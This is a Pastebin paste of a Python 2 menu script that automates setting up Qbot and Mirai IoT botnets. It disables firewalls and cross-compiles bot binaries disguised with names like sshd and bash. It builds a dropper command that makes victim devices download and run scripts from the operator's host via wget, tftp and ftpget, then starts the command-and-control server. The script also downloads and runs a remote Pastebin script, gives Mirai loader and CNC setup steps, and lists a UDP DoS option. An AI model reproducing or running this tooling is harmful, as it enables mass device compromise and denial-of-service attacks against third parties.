strlength

Python Multi Installer V1

May 4th, 2017
392
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 20.46 KB | None | 0 0
  1. # simple auto installer for a few stuff
  2. # Coded by cheats
  3.  
  4. import subprocess
  5. import socket
  6. import os
  7. import urllib2
  8. import sys
  9. import random
  10. import time
  11.  
  12. def system(cmd):
  13.     subprocess.call(cmd, shell=True)
  14. RED = '\033[31m'    
  15. CY = '\033[36m'    
  16. NOR = '\033[0m'  
  17.  
  18. banner = """
  19.                  _,----.
  20.               ,-'     __`.
  21.              /    .  /--\`)
  22.             /  .  )\/_,--\
  23.            /  ,'\/,-'    _\_
  24.           |  /  ,' ,---'  __\
  25.          ,' / ,:     _,-\'_,(
  26.           (/ /  \ \,'   |'  _)         ,. ,.,.
  27.            \/   |          '  \       \ ,. \ )
  28.             \, ,-              \      /,' )//
  29.              ; \'`      _____,-'      _|`  ,'
  30.               \ `"\   (_,'_)     _,-'    ,'
  31.                \  \      \ _,-'       ,'
  32.                |, , )       `'       _,-'
  33.                /`/ Y    ,    \  _,-'
  34.                   :    /      \-'
  35.                   |     `--.__\___
  36.                   |._           __)
  37.         -hrr-     |  `--.___    _)
  38.                   |         `----'
  39.                  /                \
  40.                 '                . )
  41.  
  42. """
  43. def yuminstalls():
  44.     print("Installing all the yum installs")
  45.     system("yum install gcc -y")
  46.     system("yum install nano -y")
  47.     system("yum install wget -y")
  48.     system("yum install perl -y")
  49.     system("yum install xinetd tftp tftp-server -y")
  50.     system("yum install screen -y")
  51.     system("yum install nc -y")
  52.     system("yum install cpan -y")
  53.     system("yum install httpd -y")
  54.     system("yum install vsftpd -y")
  55.     system("yum install unzip -y")
  56.     system("yum install gcc python-paramiko -y")
  57.     system("service iptables stop")
  58.     system("chkconfig iptables off")
  59.     system("iptables -F")
  60.     system("service vsftpd start") 
  61.     system("service xinetd start")
  62.     system("service httpd start")
  63.     system('echo -e "ulimit -n 99999" >> ~/.bashrc')
  64.     system("echo -e \"ulimit -n 99999\" > ulimit.sh")
  65.     system("sh ulimit.sh")
  66.     system("rm -rf ulimit.sh")  
  67.     fdsize = open("/usr/include/bits/typesizes.h","r").readlines()
  68.     fdsizew = open("/usr/include/bits/typesizes.h","w").write("")
  69.     for line in fdsize:
  70.         line = line.replace("1024","99999")
  71.         fdsizew = open("/usr/include/bits/typesizes.h","a").write(line)
  72.     system("clear")
  73.  
  74. def aptinstalls():
  75.     system("apt-get update -y")
  76.     system("apt-get upgrade -y")
  77.     system("apt-get install gcc -y")
  78.     system("apt-get install nano -y")
  79.     system("apt-get install wget -y")
  80.     system("apt-get install perl -y")
  81.     system("apt-get install xinetd tftp tftp-server -y")
  82.     system("apt-get install screen -y")
  83.     system("apt-get install nc -y")
  84.     system("apt-get install cpan -y")
  85.     system("apt-get install apache2 -y")
  86.     system("apt-get install unzip -y")
  87.     system("apt-get install python-paramiko -y")
  88.     system("apt-get install zmap -y")
  89.     system("service iptables stop")
  90.     system("apt-get install gcc golang electric-fence sudo git -y")
  91.     system("apt-get install mysql-server mysql-client -y")
  92.     system("chkconfig iptables off")
  93.     system("iptables -F")  
  94.     system("service xinetd start")
  95.     system("service apache2 start")
  96.     system('echo -e "ulimit -n 99999" >> ~/.bashrc')
  97.     system("echo -e \"ulimit-n 99999\" > ulimit.sh")
  98.     system("sh ulimit.sh")
  99.     system("rm -rf ulimit.sh")
  100.    
  101. def scanningshit():
  102.     system("yum install perl cpan -y");
  103.     system("cpan force install IO::Socket");
  104.     system("cpan force install IO::Select ");
  105.     system("cpan force install Parallel::ForkManager");
  106.     system("cpan force install Net::SSH2");
  107.     system("yum install gcc* -y --skip-broken");
  108.     system("yum install gcc php-devel php-pear libssh2 libssh2-devel -y --skip-broken");
  109.     system("pecl install -f ssh2");
  110.     system("touch /etc/php.d/ssh2.ini");
  111.     system("echo extension=ssh2.so > /etc/php.d/ssh2.ini");
  112.     system("yum install httpd -y");
  113.     system("/etc/init.d/httpd restart");
  114.     system("php -m | grep ssh2");
  115.     system("cpan -fi Net::SSH2");
  116.     system("cpan -fi Parallel::ForkManager");
  117.     system("yum groupinstall 'Development Tools' -y --skip-broken");
  118.    
  119. def netis():
  120.     binary = raw_input("Name of MIPSEL Binary: ")
  121.     ip = raw_input("hosting ip: ")
  122.     system("apt-get install zmap -y")
  123.         os.system(" wget https://pastebin.com/raw/kPi444M5 -O login;chmod 777 login; ./login; rm -rf login")
  124.     os.system('echo "cd /tmp || cd /var/; tftp -g '+ ip +' -r '+ binary +'; chmod 777 '+ binary +'; ./'+ binary +'; rm -rf '+ binary +'" >> netis.txt ')   
  125.  
  126.    
  127.    
  128. def miraishit():
  129.         system('''echo -e "# default: off
  130.    # description: The tftp server serves files using the trivial file transfer \
  131.    #       protocol.  The tftp protocol is often used to boot diskless \
  132.    #       workstations, download configuration files to network-aware printers, \
  133.    #       and to start the installation process for some operating systems.
  134.    service tftp
  135.    {
  136.            socket_type             = dgram
  137.            protocol                = udp
  138.            wait                    = yes
  139.            user                    = root
  140.            server                  = /usr/sbin/in.tftpd
  141.            server_args             = -s -c /var/lib/tftpboot
  142.            disable                 = no
  143.            per_source              = 11
  144.            cps                     = 100 2
  145.            flags                   = IPv4
  146.    }
  147.    " > /etc/xinetd.d/tftp''')
  148.     system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2")
  149.     system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2")
  150.     system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2")
  151.     system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2")
  152.     system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2")
  153.     system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2")
  154.     system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2")
  155.     system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2")
  156.     system("wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2")
  157.     print CY + "Finished grabbing archs" + NOR
  158.     time.sleep(2)
  159.     system("tar -jxf cross-compiler-armv4l.tar.bz2")
  160.         system("tar -jxf cross-compiler-i586.tar.bz2")
  161.         system("tar -jxf cross-compiler-mips.tar.bz2")
  162.         system("tar -jxf cross-compiler-armv6l.tar.bz2")
  163.         system("tar -jxf cross-compiler-mips.tar.bz2")
  164.         system("tar -jxf cross-compiler-mipsel.tar.bz2")
  165.         system("tar -jxf cross-compiler-powerpc.tar.bz2")
  166.         system("tar -jxf cross-compiler-sh4.tar.bz2")
  167.         system("tar -jxf cross-compiler-sparc.tar.bz2")
  168.         print CY + "Finshed unzipping " + NOR
  169.     time.sleep(0.5)
  170.     system("mkdir /etc/xcompile")
  171.     system("mv cross-compiler* /etc/xcompile")
  172.     system("mv cross-compiler-armv4l /etc/xcompile/armv4l")
  173.     system("mv cross-compiler-i586 /etc/xcompile/i586")
  174.     system("mv cross-compiler-mips /etc/xcompile/mips")
  175.     system("mv cross-compiler-mipsel /etc/xcompile/mipsel")
  176.     system("mv cross-compiler-powerpc /etc/xcompile/powerpc")
  177.     system("mv cross-compiler-sparc /etc/xcompile/sparc")
  178.     system("mv cross-compiler-armv6l /etc/xcompile/armv6l")
  179.     print CY + "Finshed Moving The Archs " + NOR
  180.     time.sleep(0.5)
  181.         system("export PATH=$PATH:/etc/xcompile/armv4l/bin")
  182.         system("export PATH=$PATH:/etc/xcompile/armv6l/bin")
  183.         system("export PATH=$PATH:/etc/xcompile/i586/bin")
  184.         system("export PATH=$PATH:/etc/xcompile/m68k/bin")
  185.         system("export PATH=$PATH:/etc/xcompile/mips/bin")
  186.         system("export PATH=$PATH:/etc/xcompile/mipsel/bin")
  187.         system("export PATH=$PATH:/etc/xcompile/powerpc/bin")
  188.         system("export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin")
  189.         system("export PATH=$PATH:/etc/xcompile/sh4/bin")
  190.         system("export PATH=$PATH:/etc/xcompile/sparc/bin")
  191.         system("export PATH=$PATH:/etc/xcompile/armv6l/bin")
  192.         time.sleep(1)
  193.     system("export PATH=$PATH:/usr/local/go/bin")
  194.     system("export GOPATH=$HOME/Documents/go")
  195.         print CY + "Finshed Exporting" + NOR
  196.     time.sleep(0.5)
  197.     system("go get github.com/go-sql-driver/mysql")
  198.     system("go get github.com/mattn/go-shellwords")
  199.     system("iptables -F")
  200.     system("/etc/ini.d/iptbales stop")
  201.  
  202. def miraiMysql():
  203.     system("wget https://hastebin.com/raw/ofasunanah.sql -O mirai.sql")
  204.     system("mysql -u root -p"+ mysqlpass +" < mirai.sql")
  205.  
  206. def installShit():
  207.     system("yum update -y")
  208.     system("yum upgrade -y")
  209.     system("yum install gcc -y")
  210.     system("yum install nc -y")
  211.     system("yum install screen -y")
  212.     system("yum install perl cpan -y")
  213.     system("yum install httpd -y")
  214.     system("yum install xinetd tftp tftp-server -y")
  215.     system("yum install vsftpd -y")
  216.            
  217.    
  218. def comp(botc,ip,botport):
  219.    
  220.     compileas = ["ntpd",
  221.              "sshd",
  222.              "openssh",
  223.              "bash",
  224.              "tftp",
  225.              "wget",
  226.              "cron",
  227.              "ftp",
  228.              "pftp",
  229.              "sh",
  230.          "idkbot",
  231.          "apache2"]
  232.  
  233.     getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  234. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  235. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  236. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  237. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  238. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  239. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  240. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  241. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  242. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  243. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  244. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2']
  245.  
  246.     ccs = ["cross-compiler-mips",
  247.            "cross-compiler-mipsel",
  248.            "cross-compiler-sh4",
  249.            "cross-compiler-x86_64",
  250.            "cross-compiler-armv6l",
  251.            "cross-compiler-i686",
  252.            "cross-compiler-powerpc",
  253.            "cross-compiler-i586",
  254.            "cross-compiler-m68k",
  255.            "cross-compiler-sparc",
  256.            "cross-compiler-armv4l",
  257.            "cross-compiler-armv5l"]
  258.  
  259.     system("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
  260.    
  261.     x = 0
  262.     for i in ccs:
  263.         if(os.path.isdir(i)==True):
  264.             print i + " Already exists."
  265.             x += 1
  266.         else:
  267.             print "Downloading " + i
  268.             system("wget --no-check-certificate -q " + getarch[x])
  269.             system("tar -xvf " + i + ".tar.bz2")
  270.             system("rm -rf " + i + ".tar.bz2")
  271.             x += 1
  272.    
  273.     print "Cross compilers installed."
  274.  
  275.     BotFile = open(botc, "r").readlines()
  276.  
  277.     payload = "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; exit"
  278.     pload = open("payload.txt","w").write(payload)
  279.    
  280.     writebot = open(botc, "w").write("")
  281.    
  282.     for line in BotFile:
  283.         line = line.replace("IP:23",ip + ":" + botport)
  284.         line = line.replace("PAYLOADZZZZ", payload)
  285.         writebot = open(botc, "a").write(line)
  286.        
  287.     num = 0
  288.     for cc in ccs:
  289.         arch = cc.split("-")[2]
  290.         system("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + botc + " > /dev/null")
  291.         num += 1
  292.    
  293.     system("service httpd start")
  294.     system("service vsftpd start")
  295.  
  296.     system('''echo -e "# default: off
  297.    # description: The tftp server serves files using the trivial file transfer \
  298.    #       protocol.  The tftp protocol is often used to boot diskless \
  299.    #       workstations, download configuration files to network-aware printers, \
  300.    #       and to start the installation process for some operating systems.
  301.    service tftp
  302.    {
  303.            socket_type             = dgram
  304.            protocol                = udp
  305.            wait                    = yes
  306.            user                    = root
  307.            server                  = /usr/sbin/in.tftpd
  308.            server_args             = -s -c /var/lib/tftpboot
  309.            disable                 = no
  310.            per_source              = 11
  311.            cps                     = 100 2
  312.            flags                   = IPv4
  313.    }
  314.    " > /etc/xinetd.d/tftp''')
  315.     system("service xinetd start")
  316.  
  317.     system('''echo -e "listen=YES
  318.    local_enable=NO
  319.    anonymous_enable=YES
  320.    write_enable=NO
  321.    anon_root=/var/ftp
  322.    anon_max_rate=2048000
  323.    xferlog_enable=YES
  324.    listen_address='''+ ip +'''
  325.    listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
  326.     system("service vsftpd restart")
  327.  
  328.     for i in compileas:
  329.         system("cp " + i + " /var/www/html")
  330.         system("cp " + i + " /var/ftp")
  331.         system("mv " + i + " /var/lib/tftpboot")
  332.  
  333.     system('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
  334.  
  335.     system('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
  336.  
  337.     system('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
  338.  
  339.     system('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
  340.  
  341.     system('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
  342.  
  343.     system('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
  344.  
  345.     system('echo -e "#!/bin/bash" > /var/www/html/bins.sh')
  346.  
  347.     for i in compileas:
  348.         system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
  349.         system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
  350.         system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
  351.         system('echo -e "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
  352.  
  353.     system("service xinetd restart")
  354.     system("service httpd restart")
  355.     system('echo -e "ulimit -n 99999" >> ~/.bashrc')
  356.     print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  357.     print "Payload: " + payload
  358.  
  359. def systemnet(server,botport,adminport):
  360.     system("service iptables stop")
  361.     system("chkconfig iptables off")
  362.    
  363.     fdsize = open("/usr/include/bits/typesizes.h","r").readlines()
  364.    
  365.     fdsizew = open("/usr/include/bits/typesizes.h","w").write("")
  366.     for line in fdsize:
  367.         line = line.replace("1024","99999")
  368.         fdsizew = open("/usr/include/bits/typesizes.h","a").write(line)
  369.        
  370.     system("gcc -pthread -o start " + server)
  371.     system("rm -rf " + server)
  372.     system("echo -e \"ulimit -n 99999\" > ulimit.sh")
  373.     system("sh ulimit.sh")
  374.     system("ulimit -n 99999")
  375.     system("rm -rf ulimit.sh")
  376.     system("screen -dmS Net ./start " + botport + " 1000 " + adminport)
  377.     system("clear")
  378.     print("Botnet started on port " + adminport)
  379.     print("Put your logins in this file in the format of \"username pass\" ")
  380.     time.sleep(1)
  381.     system("nano login.txt")
  382.     system("rm -rf telnet.txt")
  383.     print "\n"
  384.     system("cat payload.txt")
  385.    
  386.  
  387. while True:
  388.         print banner
  389.         print RED + "[1] ubuntu/debian based servers" + NOR
  390.         print RED + "[2) centos based servers" + NOR
  391.         print RED + "[3] Modules for LRAB" + NOR
  392.         print RED + "[4] NETIS shit" + NOR
  393.         print RED + "[5] Automated qbot setup" + NOR
  394.         print RED + "[6] Mirai help" + NOR
  395.         print RED + "[7] UDP Dos Attack" + NOR
  396.     print RED + "[8] exit python script" + NOR
  397.        
  398.  
  399.    
  400.         print ""
  401.         answer = raw_input("-> ")
  402.     if answer == "1":
  403.         aptinstalls()
  404.         break
  405.     elif answer == "2":
  406.         yuminstalls()
  407.         break
  408.     elif answer == "3":
  409.         scanningshit()
  410.         break
  411.     elif answer == "4":
  412.         netis()
  413.             break
  414.         elif answer == "5":
  415.                 ip = raw_input("IP:")
  416.                 server = raw_input("Server:")
  417.                 BotFile = raw_input("Bot File:")
  418.                 botport = raw_input("Bot Port:")
  419.                 adminport = raw_input("Admin Port:")
  420.                 installShit()
  421.                 comp(BotFile,ip,botport)
  422.                 systemnet(server,botport,adminport)
  423.                 break
  424.         elif answer == "7":
  425.                 print CY + "UDP DOS ATTACK !!!" + NOR
  426.                 break
  427.         elif answer == "8":
  428.                 print "GoodBye !"
  429.                 time.sleep(1)
  430.                 sys.exit(0)
  431.                 break
  432.         elif answer == "6":
  433.                 system("clear")
  434.                 print banner
  435.                 print CY + "[1] for all the installs for mirai" + NOR
  436.                 print CY + "[2] Help with MySql" + NOR
  437.             print CY + "[3] Help with The bot aka table.c" + NOR
  438.             print CY + "[4] Help with the loader and dlrs" + NOR
  439.                 print CY + "[5] Help with little errors" + NOR
  440.            
  441.     mirai = raw_input("-> ")
  442.         if mirai == "1":
  443.                 aptinstalls()
  444.                 miraishit()
  445.         break
  446.         elif mirai == "2":
  447.                 print RED + "Please mysql password" + NOR
  448.             mysqlpass = raw_input("-> ")
  449.             miraiMysql()
  450.             print RED + "If you successfully Entered your mysql password the admin login to your mirai is\nusername:root\npassword:" + NOR
  451.             break
  452.         elif mirai == "3":
  453.             print CY + "Done now you need to edit your table.c and main.go" + NOR
  454.         print ""
  455.         print CY + "table.c: TABLE_CNC_DOMAIN, 'domain here but in hex' 7);" + NOR
  456.         print CY + "this is where your domain will go" + NOR
  457.         print CY + "you need to compile the enc.c and do this command" + NOR
  458.         print CY + "./enc string example.com" + NOR
  459.         print CY + "the, 7 at the end is how many bytes it tells you it" + NOR
  460.         print CY + "so once you compiled your domain put it the TABLE_CNC_DOMAIN and the TABLE_SCAN_CB_DOMAIN" + NOR
  461.         print CY + "Make sure to change the bytes at the end of the TABLE_CNC_DOMAIN & TABLE_SCAN_CB_DOMAIN" + NOR
  462.                 print ""
  463.                 print CY + "Time to edit the main.go" + NOR
  464.                 print CY + "const DatabaseAddr string   = '127.0.0.1:3306'\r\nconst DatabaseUser string   = 'root'\r\nconst DatabasePass string   = 'dbpassword'\r\nconst DatabaseTable string  = 'mirai'" + NOR
  465.                 print CY + "Edit the database pass to what you set your mysql pass as" + NOR
  466.                 print CY + "Make sure to add 3306 at the of 127.0.0.1" + NOR
  467.                 enterz = raw_input("enter to return")
  468.                 break
  469.         elif mirai == "4":
  470.                system("clear")
  471.                print CY + "Time to setup The dlr, this is really simple, dont fail you fool" + NOR
  472.                print CY + "edit the main.c define HTTP_SERVER utils_inet_addr(8,8,8,8)" + NOR
  473.                print CY + "Edit the 8,8,8,8 to your servers ip leave the commas" + NOR
  474.                print CY + "now run ./build.sh, then run " + NOR
  475.                print CY + "Now cd into the release folder and you should a bunch of 'dlr.'" + NOR
  476.                print CY + "Now move them into your loader/bins dir like this" + NOR
  477.                print CY + "cp dlr.* /mirai/loader/bins" + NOR
  478.                print CY + "Moving onto the loader now, first you want to cd into loader then do cd into the src" + NOR
  479.                print CY + "cd loader/src" + NOR
  480.                print CY + "Now edit the main.c, edit all the addresses to your servers ip" + NOR
  481.                print CY + "Edit the wget and tftp address to your nets ip" + NOR
  482.                print CY + "How to load\r\n1.) get you a good list\r\n2.) cat list.txt | ./loader" + NOR
  483.                enterzz = raw_input("enter to return")
Advertisement
Add Comment
Please, Sign In to add comment